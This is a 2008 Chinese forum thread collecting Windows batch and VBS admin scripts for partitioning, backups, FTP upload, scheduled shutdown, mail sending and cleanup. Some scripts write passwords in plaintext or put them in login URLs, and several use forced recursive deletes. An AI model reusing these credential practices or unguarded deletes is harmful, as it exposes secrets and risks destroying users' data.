【轉載】批次檔用法集合

【轉載】批次檔用法集合

文章super » 2008年 12月 17日, 01:37

fdisk-windows98開機片的分割程式 用法
FDISK指令說明
代碼: 選擇全部
/STATUS - 顯示分割狀況 ,
fdisk /status 當延伸分割區裡沒有邏輯磁碟時, 延伸分割區不會被顯示出來

/MBR - 重建第一顆硬碟的主啟動程式 (Master Boot Record)當有病毒感染 MBR 時,
用來清除病毒相當好用

/PRI - 建立主分割區, 並設定為啟動在硬碟 上建立大小為 的主分割區. 分割區會被設定為啟動分割區 fdisk
/pri: 當 大於硬碟大小時, 所有空間均被使用作主分割區

/PRIO - 使用 FAT16 建立主分割區並設定為啟動用法同 /PRI

/EXT - 建立延伸分割區,在硬碟上建立大小為的延伸分割區(建立邏輯磁碟) fdisk /ext: 當大於未分割空間時,
所有的剩餘空間都被使用, 這個參數時可以不必知道剩餘空間的確實大小。

/LOG - 建立邏輯磁碟, 用 /LOG 來建立大小為的邏輯磁碟. /LOG 必須和 /EXT 同時使用且二者的
必須相同。 fdisk /ext: /log: 另外 必須小於或等於剩餘空間

/LOGO - 使用 FAT16 建立邏輯磁碟用法同 /LOG

/FPRMT - 在交談模式中詢問 FAT16/FAT32 的使用當加上 /FPRMT
參數時不會出現開始大容量硬碟支援的詢問畫面, 而是每次建立一個新的分割時詢問使用FAT16或FAT32。注意
FAT16/FAT32 詢問是對所有的分割,這個參數可以用來強制產生小於 540Mb的分割
(FDISK預設為540Mb以上分割使用FAT32格式)

/Q - 結束 FDISK 時不重新啟動電腦使用 /Q 參數將不會在更動分割表後重新啟動電腦

/X - 不使用 LBA 屬性使用 /X 參數將不會產生帶有 LBA 屬性的分割

/ACTOK - 不檢查硬碟的良好度/ACTOK參數可以不檢查硬碟良好度而加快分割動作, 註:這個參數有時會無效

/CMBR - 重建指定硬碟的主啟動程式動作同 /MBR, 但可以指定硬碟 fdisk /cmbr


/PRI, /PRIO 和 /LOG, /LOGO 之註解:當分割大小大於 512Mb 時 PRI 和 LOG 使用
FAT32 格式, 小於512Mb 時則用FAT16格式. PRIO 和
LOGO則不論分割大小如何均一律使用FAT16格式(同DOS 5/6之FDISK的效果)
更改所在目錄
當批次檔啟動時並不在所在目錄
比如用num888所製作的ChgReg來啟動批次檔時
該目錄並不是批次檔的原始目錄,導致所有相對目錄的語法全部失效
比如︰start plugin\ccleaner.exe
該目錄是指批次檔所在目錄的plugin資料夾內,而不是ChgReg.exe所在的目錄
所以必須要在批次檔開頭加入以下語法來修正錯誤
cd /d "%~dp0"


控制CMD視窗大小
mode con cols=52 lines=25
52寬
25行尋找磁碟機代號並列出
代碼: 選擇全部
@echo off
setlocal enabledelayedexpansion
for /f "skip=1 tokens=1,2 delims=\" %%i in ('fsutil fsinfo drives^|find /v ""') do (
set genre=%%i
set genre=!genre:~-2!
   for %%a in (!genre!) do (
      fsutil fsinfo drivetype %%a | findstr "固定" >nul 2>nul && if /i not "%%a"=="A:" (
      set drive=%%a
      echo  %%a >> %SYSTEMDRIVE%\HD.PXT
      set usbSymbol=%%a
      )
   )
)

type %SYSTEMDRIVE%\HD.PXT

pause
附加檔案
DOSteach.zip
批次命令基本教學2個,單一網頁封存檔mht
(66.11 KiB) 被下載 478 次
super
系統管理員
 
文章: 2226
註冊時間: 2008年 8月 15日, 07:39

Re: 【轉載】批次檔用法集合

文章super » 2008年 12月 17日, 01:47

FOR 迴圈用法
for /f "delims=" %%L in (jpgList.txt) do move "A\%%L" B\

讀取 jpgList.txt 裡面的內容,並且執行 do 後面的指令。
此語法會把A資料夾裡面的圖片,包含在 jpgList.txt 的,複製到B去

jpgList.txt 內容

代碼: 選擇全部
01.JPG
02.PNG
04.JPG
06.JPG
10.BMP
11.GIF

所以A資料夾的以上檔案會移動到B去


檢查清單並輸出

for /f "delims=" %%L in (jpgList.txt) do (
IF EXIST "A\%%L" ECHO 發現病毒A:\%%L >> 123.TXT
)

括弧內的變數%%L可以被利用。
super
系統管理員
 
文章: 2226
註冊時間: 2008年 8月 15日, 07:39

Re: 【轉載】批次檔用法集合

文章super » 2008年 12月 17日, 01:48

ERRORLEVEL 使用範例
代碼: 選擇全部
@echo off

:Name
echo 請輸入文字
set /p a=

if errorlevel 1 goto :NoText

goto :End

:NoText
echo 你沒輸入任何東西,請重新輸入。

verify on

goto :Name

:End
echo 你輸入的是%a%
super
系統管理員
 
文章: 2226
註冊時間: 2008年 8月 15日, 07:39

Re: 【轉載】批次檔用法集合

文章super » 2008年 12月 17日, 01:49

ipconfig用法
ipconfig /all 可以看到該台電腦ip設定及所有網路配接卡的資訊
ipconfig /flushdns 可以清掉該台電腦DNS的cache
ipconfig /renew 一般用在重新向dhcp的取得ip

Windows IP Configuration

Host Name . . . . . . . . . . . . : mynameisgenius (主機名稱)
Primary Dns Suffix . . . . . . . :
Node Type . . . . . . . . . . . . : Unknown (dns解析方式)
IP Routing Enabled. . . . . . . . : No (是否啟動ip路由,即可當成router讓其他電腦經由此台連線到internet)
WINS Proxy Enabled. . . . . . . . : No

Ethernet adapter 區域連線:

Description . . . . . . . . . . . : Intel(R) PRO/100 VE Network Connection(網路卡driver)
Physical Address. . . . . . . . . : 00-0D-60-78-C8-1D (網路卡mac address)
Dhcp Enabled. . . . . . . . . . . : Yes (是否使用dhcp)
Autoconfiguration Enabled . . . . : Yes
IP Address. . . . . . . . . . . . : 192.168.10.65 (此網路卡的ip位置)
Subnet Mask . . . . . . . . . . . : 255.255.255.0 (子網路遮罩)
Default Gateway . . . . . . . . . : 192.168.10.1 (預設路由器)
DHCP Server . . . . . . . . . . . : 192.168.10.1 (提供ip的dhcp主機位址)
DNS Servers . . . . . . . . . . . : 168.95.192.1 (dns主機)
Lease Obtained. . . . . . . . . . : 2005年9月25日 上午 09:36:17 (向dhcp取得ip的時間)
Lease Expires . . . . . . . . . . : 2005年9月25日 下午 09:36:17 (該ip在此dhcp主機的租用期限)

tracert:會從該電腦到目的電腦所經由的路由器列表,通常使用來檢查到底是哪個地方出問題
3 43 ms 50 ms 43 ms tp-s2-c76r6.router.hinet.net [168.95.83.202]
可分成三個部份說明
3 是所經過的第幾個節點數
43 ms 50 ms 43 ms 代表從此台電腦到這個節點所花的時間
tp-s2-c76r6.router.hinet.net [168.95.83.202] 這個節點的主機名稱及所對映的ip位址




WINDOWS預設變數
%ALLUSERSPROFILE% : All Users設定檔的資料夾位置。
%APPDATA% : 目前使用者的Application Data資料夾位置。
%CD% : 目前的工作資料夾。
%CLIENTNAME% : 目前使用者的NETBIOS電腦名稱。
%CMDCMDLINE% : 處理目前命令提示字元視窗命令的cmd.exe的完整路徑。
%CMDEXTVERSION% : 目前Command Processor Extensions的版本。
%CommonProgramFiles% : Common Files資料夾的路徑。
%COMPUTERNAME% : 電腦名稱。
%COMSPEC%: : 命令提示字元視窗的解譯程式路徑,通常與%CMDCMDLINE%相同。
%DATE% : 目前的系統日期。
%ERRORLEVEL% : 最近執行過的命令的錯誤碼;非零的值表示發生過的錯誤碼。
%HomeDrive% : 使用者目錄的磁碟機。
%HomePath% : 使用者家目錄。
%HOMESHARE% : 目前使用者共用資料夾的網路路徑。
%LOGONSEVER% : 目前使用者所登入的網路控制器名稱。
%NUMBER_OF_PROCESSORS% : 電腦的處理器數量。
%OS% : 作業系統名稱,其值固定為Windows_NT。
%Path% : 執行檔的搜尋路徑。
%PATHEXT% : 作業系統是為執行檔的副檔名。
%PROCESSOR_ARCHITECTURE% : 處理器的架構名稱,例如x86。
%PROCESSOR_IDENTFIER% : 說明處理器的文字(不一定會有此環境變數)。
%PROCESSOR_LEVEL% : 處理器的model number。
%PROCESSOR_REVISION% : 處理器的revision number。
%ProgramFiles% : 應用程式目錄,預設是C:\Program Files。
%PROMPT% : 目前解譯程式的命令提示字串。
%RANDOM% : 顯示0到32767之間的十進位整數亂數。
%SESSIONNAME% : 連上終端伺服器的session names。
%SystemDrive% : 系統磁碟機,預設是C:。
%SystemRoot% : 系統根目錄,預設是C:\WINNT或C:\WINDOWS。
%SystemDirectory% : 系統目錄,預設是C:\WINNT\System32或C:\WINDOWS\System32。
%Temp%、%Tmp% : 暫存檔目錄。
%TIME% : 目前的系統時間。
%UserDomain% : 包含使用者帳號的網域名稱,或者電腦名稱。
%UserName% : 使用者帳號名稱。
%USERPROFILE% : 目前使用者的設定檔路徑。
%WinDir% : Windows目錄,預設是C:\WINNT或C:\WINDOWS
super
系統管理員
 
文章: 2226
註冊時間: 2008年 8月 15日, 07:39

Re: 【轉載】批次檔用法集合

文章super » 2008年 12月 17日, 01:49

加入檔案關聯,比如JAVA
代碼: 選擇全部
reg add "HKEY_CLASSES_ROOT\.java" /f /ve /d "java.Document">nul
reg add "HKEY_CLASSES_ROOT\.java" /f /v "Content Type" /d "application/java">nul
reg add "HKEY_CLASSES_ROOT\.java\java.Document\ShellNew" /f /v "FileName" /d "java.java">nul
reg add "HKEY_CLASSES_ROOT\java.Document" /f /ve /d "java 文件">nul
reg add "HKEY_CLASSES_ROOT\java.Document\CurVer" /f /ve /d "java.Document.8">nul
reg add "HKEY_CLASSES_ROOT\java.Document\CLSID" /f /ve /d "{DB57B100-853B-11D0-AF95-0080C71F7993}">nul
reg add "HKEY_CLASSES_ROOT\java.Document.8" /f /v "EditFlags" /t REG_BINARY /d 00000100>nul
reg add "HKEY_CLASSES_ROOT\java.Document.8" /f /ve /d "java 文件">nul
reg add "HKEY_CLASSES_ROOT\java.Document.8\shell" /f /ve /d "Open">nul
reg add "HKEY_CLASSES_ROOT\java.Document.8\shell\Open" /f /ve /d "打開(&O)">nul
reg add "HKEY_CLASSES_ROOT\java.Document.8\shell\Open\command" /f /ve /d "%SystemRoot%\jnotepad.exe \"%%1\"">nul
reg add "HKEY_CLASSES_ROOT\java.Document.8\protocol\StdFileEditing\server" /f /ve /d "%SystemRoot%\jnotepad.exe">nul
reg add "HKEY_CLASSES_ROOT\java.Document.8\DefaultIcon" /f /ve /d "%SystemRoot%\system32\shell32.dll,-152">nul
reg add "HKEY_CLASSES_ROOT\java.Document.8\CLSID" /f /ve /d "{DB57B100-853B-11D0-AF95-0080C71F7993}">nul
reg add "HKEY_CLASSES_ROOT\java.Document\CurVer" /f /ve /d "java.Document.8">nul
super
系統管理員
 
文章: 2226
註冊時間: 2008年 8月 15日, 07:39

Re: 【轉載】批次檔用法集合

文章super » 2008年 12月 17日, 01:50

做自動安裝的批次檔
Windows2000-KB896424-x86-CHT.EXE /quiet /passive /norestart /overwriteoem /nobackup
Windows2000-KB899589-x86-CHT.EXE /quiet /passive /norestart /overwriteoem /nobackup
Windows2000-KB900725-x86-CHT.EXE /quiet /passive /norestart /overwriteoem /nobackup
Windows2000-KB901017-x86-CHT.EXE /quiet /passive /norestart /overwriteoem /nobackup
Windows2000-KB902400-x86-CHT.EXE /quiet /passive /norestart /overwriteoem /nobackup

以上是同時更新五各更新檔的範例 你可以 將所以下載下來的更新 一次安裝
只要把批次檔跟更新檔放在一起 寫好 批次檔 然後點批次檔兩下 執行
就會自動將所有的更新全部裝上去




批次檔注意事項
寫批次有幾個地方要注意一定要遵守的

1.務必確認使用的變數和檔案必須要存在

EX:
DEL %TEMP%\* /F/Q

假設變數TEMP不存在
則上面的意思就變成
DEL \* /F/Q
就是刪除跟目錄所有檔案,這我以前有過0rz
最簡單的方式就是在沒有存在的情形下設定一個假的上去
IF NOT DEFINED TEMP SET TEMP=C:\123
這樣上面的DEL就變成
DEL C:\123\* /F/Q
這樣損傷就小很多..

2.字串中間儘可能加上雙引號
EX:
del c:\,.exe /F/Q
上面這一段如果沒有加上雙引號的話意思會變成這樣
del c:\* /F/Q
同樣跟目錄所有檔案全刪
但如果加上
del "c:\,.exe" /F/Q
這樣就會刪除正確的,.exe檔案

3.刪除檔案前先確認他是檔案還是資料夾
EX:
IF EXIST %systemdrive%\123 del %systemdrive%\123
假設123為資料夾並且有重要資料
上面的意思就會變成
del %systemdrive%\123\*
那123資料夾內所有檔案就會被清掉

改成
IF EXIST %systemdrive%\123 DIR /A:D %systemdrive%\123 >nul 2>&1 && del %systemdrive%\123
這樣就可以正確判斷出該檔案為檔案並非資料夾

4.for 參數 如果要取得的文件內容為空白,則該迴圈所有資料都不會執行
包含裡面設定的變數,所以必須務必注意for迴圈有沒有正常動作
或者是在之前就設定一個變數上去。這是對應第一點

EX:
echo.>1.txt
for /f %%a in (1.txt) do set 123=%%a
echo %123%
此時123變數為空值
就容易出現前面提的錯誤情形.

大致上是這幾個地方要注意的,其他就還好頂多顯示錯誤。
super
系統管理員
 
文章: 2226
註冊時間: 2008年 8月 15日, 07:39

Re: 【轉載】批次檔用法集合

文章super » 2008年 12月 17日, 01:50

批處理收藏

本文地址:http://qzone.qq.com/blog/1391595-1222271033
一、自動刪N日前的目錄:
>"%temp%\MyDate.vbs" echo dt=date()-N
>>"%temp%\MyDate.vbs"echo s=right(year(dt),4) ^& "-" ^& right("0" ^&month(dt),2) ^& "-" ^& right("0" ^& day(dt),2)
>>"%temp%\MyDate.vbs" echo wscript.echo s
for /f %%a in ('cscript /nologo "%temp%\MyDate.vbs"') do set FiveDay=%%a
for /f "tokens=*" %%a in ('dir /b /ad "D:\000"') do (
  if "%%a" lss "%FiveDay%" (
    rd /s /q "D:\000\%%a"
  )
)
pause

二、自動刪除N日前文件:
@echo off
setlocal enabledelayedexpansion
set SrcDir=D:\rardata
>"%tmp%\MyDel.vbs" echo dt=date()-15
>>"%tmp%\MyDel.vbs" echo s=right(year(dt),4) ^& right("0" ^& month(dt),2) ^& right("0" ^& day(dt),2)
>>"%tmp%\MyDel.vbs" echo wscript.echo s
for /f %%a in ('cscript /nologo "%tmp%\MyDel.vbs"') do set DateFlag=%%a
for /f "tokens=*" %%a in ('dir /s /b /a-d "%SrcDir%"') do (
  set FileDate=%%~ta
  set FileDate=!FileDate:-=!
  set FileDate=!FileDate:~0,8!
  if !FileDate! lss %DateFlag% (
    del /f /q "%%a"
  )
)
win2000的%data%是這樣格式:  星期日 2008-08-24 則set FileDate=!FileDate:~4,10!
win2000用以上方法不成,改用以下代碼,下載date的增強版程序datex.exe,目前可下載用的地址:http://www.westmesatech.com/files/sst26.zip
setlocal enabledelayedexpansion
set desfolder=e:\rardata
for /f %%a in ('e:\soft\datex.exe -f "yymmdd" -o-16') do set DateFlag=%%a
echo %DateFlag%
for /f "tokens=*" %%a in ('dir /s /b /a-d "%desfolder%"') do (
  set FileDate=%%~ta
  set FileDate=!FileDate:-=!
  set FileDate=!FileDate:~0,6!
  if !FileDate! lss %DateFlag% (
  del /f /q "%%a"
  )
)
exit
在win2000下測試成功.

三、批處理定時關機:schtasks /create /ru system /sc daily /mo 1 /st 18:56:00 /tn shut /tr "shutdown -s -f"
schtasks /ru system
用/ru開關指定以system權限運行計劃任務,不需要密碼。

四、自動對sql server備份文件一一對應壓縮:
@echo off
set rar_="c:\program files\winrar\rar.exe"
set Today=%date:~0,4%%date:~5,2%%date:~8,2%
echo %Today%
for /f "tokens=*" %%a in ('dir /b "F:\backup\sql\*%Today%*.bak"') do (
  %rar_%  a   "F:\backup\sql\%%~na.rar"  "F:\backup\sql\%%a"
  )
五、自動上傳FTP,且只上傳有歸檔屬性的文件(類似增量備份):
@echo off
set SrcFolder=C:\test
dir /b /aa-d>nul 2>nul
if %errorlevel% equ 1 (
  echo No archiving file to FTP
  pause
  goto :eof
)
set FtpFile=%temp%\TempAcc.txt
>"%FtpFile%" echo USERNAME
>>"%FtpFile%" echo PASSWORD
>>"%FtpFile%" echo bin
for /f "tokens=*" %%a in ('dir /b /aa-d') do (
  >>"%FtpFile%" echo put "%SrcFolder%\%%a"
)
>>"%FtpFile%" echo bye
start ftp -v -i -s:"%FtpFile%" IPADDRESS
ping -n 10 127.1>nul
attrib -a *.*
Put直接覆蓋已存在文件.

六、從txt獲取溫度值,大於指定上限值則執行指定命令:
txt 文件名:Ter2008Y4M16D12h.txt
          Ter2008Y4M16D13h.txt 每一小時就會生成一個這樣的文件.
txt的格式為: ( 記錄每秒鐘生成一行,時間間隔可以指定,如3分鐘生成一行記錄,
每次要取TXT最後一筆記錄最後一列的值.)
682   2008-4-16 15:00:00  26.75
初稿:
@echo off
set SrcDir=C:\test
:begin
for /f "tokens=*" %%a in ('dir /b /a-d /o-d "%SrcDir%\*.txt"') do (
  for /f "usebackq tokens=4 delims=. " %%b in ("%%a") do (
    if %%b gtr 30 (
      echo start 另一個批處理程序.bat
          ping -n 10 127.1>nul
          goto :begin
    )
  )
  ping -n 10 127.1>nul
  goto :begin
)
上面代碼:由於goto語句的存在,後面的只處理第一行的txt,也就是說只處理最新生成的txt文件。
測試可行代碼:@echo off
set SrcDir=C:\test
:begin
for /f "tokens=*" %%a in ('dir /b /a-d /o-d "%SrcDir%\*.txt"') do (
  set NewFile=%%a
  goto :next
)
goto :eof
for /f "usebackq tokens=4 delims=. " %%b in ("%SrcDir%\%NewFile%") do (
  if %%b gtr 30 (
    echo start 另一個批處理程序.bat
    ping -n 10 127.1 >nul
    goto :begin
  )
)
ping -n 10 127.1 >nul
goto :begin

七、批處理讓電腦自動撥號:
WINXPE的pppoe建立ADSL寬帶連接,Modem的電話線連接:
rasdial %dialname% %user% %pass%
其中 %dialname% 代表撥號所用的連接的名字,需要先建立好。%user% 代表PPPOE帳號,%pass% 代表密碼
::特點:添加了自動獲取 網絡連接 代碼,無需手動設置;
@echo off
title PPPoE自動連接
set /p user=請輸入寬帶用戶名:
set /p pass=請輸入寬帶密碼:
set "NIC_flag=Ethernet"
for /f "tokens=1,2,3,* delims=: " %%i in ('ipconfig /all') do (
     if "%%i"=="%NIC_flag%"  set NIC_name=%%k)
Rem '/*=============撥號============*/
rasdial %NIC_name% %user% %pass%
pause>nul

八、Lotus備份要求:只需備份d:\Data\下的*.ini,*.id,*.nsf,*.ndk及其子文件夾dgoa,bmmail,mail的全部文件進行備份,data目錄下的其它文件及子目錄不需要備份.選擇這些文件及子目錄用rar進行壓縮生成一個備份壓縮包的批處理。
@echo off
rem 請放在d:\data\目錄下運行
set rar_="c:\program files\winrar\rar.exe"
for %%a in (ini id nsf ndk) do (
   %rar_% a temp.rar *.%%a
)
for %%a in (dgoa bmmail mail) do (
   for /f "delims=" %%b in ('dir /s/b/a-d "%%a\*.*"') do (
      %rar_% a -ep1 temp.rar %%b
   )
)
echo.&echo 任務完成
ping -n 4 127.1>nul

正常使用:
@echo off
sc stop "Lotus Domino Server (R6LotusDominoData)"
ping -n 200 127.1>nul
set SrcFolder=D:\r6\lotus\domino\Data
set desfolder=f:\rardata\lotus
set rar_="c:\program files\winrar\rar.exe"
set Today=%date:~0,4%%date:~5,2%%date:~8,2%
echo %Today%
echo *** %Today% Lotus data 開始壓縮時間*** >>f:\soft\arlog.txt
time /t >>f:\soft\arlog.txt
%rar_%  a -pDa*********1 -r  -agYYYYMMDD-NN "%desfolder%\lotusdata"  "%SrcFolder%"
time /t >>f:\soft\arlog.txt
echo ==%Today% Lotus data 壓縮完成== >>f:\soft\arlog.txt
cho.
ping -n 100 127.1>nul
dir %desfolder% /b /aa-d>nul 2>nul
if %errorlevel% equ 1 (
  echo No archiving file to FTP
  pause
  goto :eof
)
set FtpFile=%temp%\TempAcc.txt
>"%FtpFile%" echo ******
>>"%FtpFile%" echo ******
>>"%FtpFile%" echo cd stat
>>"%FtpFile%" echo bin
for /f "tokens=*" %%a in ('dir "%desfolder%" /b /aa-d') do (
  >>"%FtpFile%" echo put "%desfolder%\%%a"
)
>>"%FtpFile%" echo bye
echo --------------------------------------------------------------------
echo ***%Today% Lotus data壓縮包數據開始上傳FTP時間***>>f:\soft\arlog.txt
time /t >>f:\soft\arlog.txt
ftp -v -i -s:"%FtpFile%" 192.168.1.61 >>f:\soft\arlog.txt
time /t >>f:\soft\arlog.txt
echo ==%Today% Lotus data壓縮包數據上傳FTP完成== >>f:\soft\arlog.txt
ping -n 10 127.1>nul
attrib -a "%desfolder%"\*.*
del %temp%\TempAcc.txt
setlocal enabledelayedexpansion
>"%tmp%\MyDel.vbs" echo dt=date()-16
>>"%tmp%\MyDel.vbs" echo s=right(year(dt),4) ^& right("0" ^& month(dt),2) ^& right("0" ^& day(dt),2)
>>"%tmp%\MyDel.vbs" echo wscript.echo s
for /f %%a in ('cscript /nologo "%tmp%\MyDel.vbs"') do set DateFlag=%%a
for /f "tokens=*" %%a in ('dir /s /b /a-d "%desfolder%"') do (
  set FileDate=%%~ta
  set FileDate=!FileDate:-=!
  set FileDate=!FileDate:~0,8!
  if !FileDate! lss %DateFlag% (
  del  /f /q "%%a"
  )
)
sc start "Lotus Domino Server (R6LotusDominoData)"

九、解鎖註冊表VBS
DIM WSH
SET WSH=WSCRIPT.CreateObject("WSCRIPT.SHELL")
WSH.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools",0,"REG_DWORD"
WSH.POPUP("註冊表解鎖成功!")

十、DOS下的註冊表編輯器RegView,圖形界面,有點像WINDOWS下的REGEDIT;
啟動時需要選擇註冊表文件,也就是C:\WINDOWS\system32\config下的SAM、DEFAULT等無擴展名的文件。

十一、創建自動日期備份的批處理
  ERUNT有一個很方便的功能,可以在命令提示符狀態下運行。利用它的一些參數,能夠實現自動將註冊表文件保存到以當天日期命名的文件夾中。
  打開一個文本文件,輸入以下內容:
  C:\erunt\ERUNT.EXE %SystemRoot%\ERDNT\#Date# /noconfirmdelete
  第一部分是文件所在路徑,第二部分是「備份到」的位置,也就是C:\WINNT\ERDNT目錄,並以當前日期做為子文件夾名,「noconfirmdelete」表示如果存在同名文件夾則自動刪除。
  將該文件保存為「backupreg.bat」,並放置在桌面上,以便隨時使用。
  小提示免費奉送的註冊表優化小工具 「NTREGOPT.EXE」
  
第三步:何時備份註冊表
  雖然你可以將這個批處理文件放置在「開始→程序→啟動」或是作為登錄腳本,從而實現和Windows98那樣的Windows啟動自動備份,或者利用「任務計劃」進行定時備份,但我們認為這樣並沒有必要,其實備份註冊表的最佳時機在於:更新系統文件或驅動程序、安裝新程序前(保證Windows一切運行正常),或即將執行有風險操作,這時才需要雙擊這個批處理進行註冊表備份,備份文件會保存到類似「C:\WINNT\ERDNT\2004-8-15」這樣的文件夾中。
  第四步:恢復註冊表
  如果系統還能正常啟動,那麼可以直接進入「C:\WINNT\ERDNT\」文件夾選擇之前的備份子文件夾(比如:「2004-8-15」),然後運行其中的「ERDNT.EXE」進行註冊表恢復。
  如果系統無法啟動,你可以嘗試在啟動菜單中按F8鍵後選擇「最後一次正確配置」,如果無效,可以再試著進入安全模式,如果都不成功,就需要採用下面的方法來恢復註冊表了。
  方法一:如果安裝有雙系統,可以進入另一個正常的Windows,運行備份文件夾中的「ERDNT.EXE」進行恢復,如果在另一個Windows中盤符發生了變化,比如:C盤變為了D盤,恢復前,還要用記事本打開備份文件夾的「ERDNT.INF」文件,將其中所有的「C:」替換成「D:」。
  方法二:用Windows2000/XP安裝光盤啟動系統,在安裝歡迎菜單中按下R鍵,再按C鍵,進入故障恢復控制台,然後輸入密碼登錄系統,接著輸入「CDC:\WINNT\ERDNT」命令進入備份註冊表文件的所在文件夾,接著再用CD命令進入相應備份文件夾,比如:「CD 2004-8-15」。
  然後輸入「batch erdnt.con」命令並回車,這樣備份的註冊表文件便會被恢復,完成後輸入「exit」退出故障恢復控制台。接下來系統會以所選擇的註冊表備份重啟。
  小提示
  ★註冊表無法恢復或恢復無效的情況
  設備或設備驅動程序損壞,恢復無效。
  系統文件損壞或丟失,恢復無效。
  硬盤發生邏輯或物理損壞或分區表錯誤,恢復無效。
  感染病毒沒有清除乾淨,恢復無效。
  ★把故障恢復控制台裝進硬盤
  每次都用Windows2000/XP安裝光盤來進入故障恢復控制台是不是有些麻煩?其實只要將安裝光盤放入光驅,接著按下Win+R組合鍵,輸入「X:\i386\winnt32.exe/cmdcons」(其中「X」為光驅的盤符,請根據實際情況修改),回車後即可將故障恢復控制台裝進硬盤,以後再恢復註冊表,只要從啟動菜單中選擇故障恢復控制台的選項即可快速進入並進行恢復。

十二、SQL server2000數據文件離線備份,目的是為了還原數據庫時直接附加上去,需用時間較短.
Taskkill /f /IM autoauditing.exe
Taskkill /f /IM FEXchange.exe
rem ntsd -c q -pn FEXchange.exe
rem ntsd -c q -pn autoauditing.exe
net stop  SQLSERVERAGENT
net stop MSSQLSERVER
ping -n 50 127.1>nul
set rar_="c:\Program Files\winrar\rar.exe"
set data="D:\ptas_data"
echo compres start rar >>e:\soft\sqlbak.log
for /f "delims=" %%a in ("compres start rar %date% %time:~,5%") do echo %%a>>e:\soft\sqlbak.log
%rar_%  a -p****######## -agYYYYMMDDHHMM-NN e:\rardata\13ptas  %data%\ptas*.*
for /f "delims=" %%a in ("compres end %date% %time:~,5%") do echo %%a>>e:\soft\sqlbak.log
echo.>>e:\soft\sqlbak.log
ping -n 50 127.1>nul
net start MSSQLSERVER
E:\software\AutoDel\autodel 10 e:\rardata
ping -n 50 127.1>nul
cd /d D:\交換
start FExchange.exe
ping -n 50 127.1>nul
cd /d D:\自動審批
start autoauditing.exe
exit

十三、文件批量重命名
工作需要處理些圖片,把圖片分類放在許多文件夾裡,然後在把每個文件夾裡的圖片加序號改名,比如一個文件夾名字為AAA111,裡面有3個圖片,就要把這3圖片名字改為AAA111-01,AAA111-02,AAA111-03,......
:: xrename.cmd -- 按序號重命名文件,並將目錄名添加到文件名前。
rem 2005-12-12 修正並著色
@echo off
setlocal ENABLEDELAYEDEXPANSION
for /r %%i in (.) do (
        set n=1000
        for /f "delims=" %%a in (' dir /b "%%i\*.jpg" 2^>nul ') do (
                set /a n+=1
                ren "%%i\%%a" "%%~ni"-!n:~1!%%~xa
        )
)
goto :EOF
取目錄名for /r %i in (.) do @echo %~ni
另:按Jpg相片創建時間排序:(最近的在前面)dir /a-d /b /tc /o-d *.jpg

十四、收發郵件:
收發郵件的VBS和bat
HAT
Set cdo = CreateObject("CDO.Message")
strCfg = "http://schemas.microsoft.com/cdo/configuration/"
With cdo
  .Sender = "發送者郵件地址"
  .From = "發送者郵件地址"
  .To = "接收者郵件地址"
  .Fields("urn:schemas:mailheader:X-Priority") = 1
  .Fields.Update
  .Subject = "郵件標題"
  .TextBody = "郵件內容"
  .Configuration(strCfg & "SendUsing") = 2
  .Configuration(strCfg & "smtpserver") = "發送郵件服務器地址"
  .Configuration.Fields.Update
  .Send
End With
msgbox "發送完成"

:
NameSpace = "http://schemas.microsoft.com/cdo/configuration/"
set Email = CreateObject("CDO.Message")
Email.From = "xxx@126.com" '發信人地址
Email.To = "139@qq.com" '收信人地址(qq也可)
Email.Subject = "patch mail test" '郵件主題
x="E:\基礎知識\一鍵收發郵件.txt" '發信內容寫在e:\111.txt中
y="E:\小試牛刀\bat2.txt" '這是需發送的附件
Set fso=CreateObject("Scripting.FileSystemObject")
Set myfile=fso.OpenTextFile(x,1,Ture)
c=myfile.readall
myfile.Close
Email.Textbody = c
Email.AddAttachment y
with Email.Configuration.Fields
.Item(NameSpace&"sendusing") = 2
.Item(NameSpace&"smtpserver") = "smtp.126.com" '這是126郵箱的服務器地址
.Item(NameSpace&"smtpserverport") = 25
.Item(NameSpace&"smtpauthenticate") = 1
.Item(NameSpace&"sendusername") = "xxx" '發信人用戶名
.Item(NameSpace&"sendpassword") = "pwd" '發信人密碼
.Update
end with
Email.Send
Set Email=Nothing

一鍵收126郵件.bat
@echo off
set mail=126
set user=xxxxxx
set pass=mmmmmmmmm
set "126=https://entry.mail.126.com/cgi/login?&bCookie=&user=%user%&pass=%pass%"
call start iexplore "%%%mail%%%"
一鍵收163郵件.bat
@echo off
set "var=xxxxxx"
set "num=mmmmmmmmm"
start"163郵箱登錄中" iexplore"https://reg.163.com/logins.jsp?username=%var%&password=%num%&url=http://fm163.163.com/coremail/fcg/ntesdoor2"

十五、清除運行記錄:
@echo off
color 0a
title 清除運行記錄
echo Windows Registry Editor Version 5.00 >>pc.reg
echo [-HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU] >>pc.reg
regedit /s pc.reg
del pc.reg
TASKKILL /f /IM explorer.exe
start %SystemRoot%\explorer.exe
或:
@echo off
color 0a
title 清除運行記錄
reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /f
TASKKILL /f /IM explorer.exe
start %SystemRoot%\explorer.exe

十六:每天開機自動備份註冊表,多次開機自動覆蓋當天前一次備份,自動刪除15天前的註冊表備份;
remC:\"Program Files"\ERUNT\AUTOBACK.EXE"%SystemRoot%\ERDNT\AutoBackup\%Date:~0,10% /noconfirmdelete/noprogresswindow /days:15
加自動壓縮且刪當日生成的文件夾,還需加自動刪N日前備份,代碼:
C:\"Program Files"\ERUNT\ERUNT.EXE d:\ERDNT\%Date:~0,10%  /noconfirmdelete /noprogresswindow
set Target=d:\ERDNT
set rar_="c:\program files\winrar\rar.exe"
>"%temp%\MyDate.vbs" echo dt=date()-15
>>"%temp%\MyDate.vbs"echo s=right(year(dt),4) ^& "-" ^& right("0" ^&month(dt),2) ^& "-" ^& right("0" ^& day(dt),2)
>>"%temp%\MyDate.vbs" echo wscript.echo s
for /f %%a in ('cscript /nologo "%temp%\MyDate.vbs"') do set FiveDay=%%a
for /f "tokens=*" %%a in ('dir /b /ad %Target%') do (
if "%%a" lss "%FiveDay%" (
rd /s /q "%Target%\%%a"
)
)
for /f  %%a  in  ('dir /s /b /a-d d:\erdnt\%Date:~0,10%') do %rar_%  a -agYYYY-MM-DD -o+ d:\erdnt\  %%a
rd /q /s  d:\erdnt\%Date:~0,10%

十七、系統盤清理垃圾:
del /f /s /q %windir%\prefetch\*.*
rd /s /q %windir%\temp & md %windir%\temp
del /f /q %userprofile%\recent\*.*
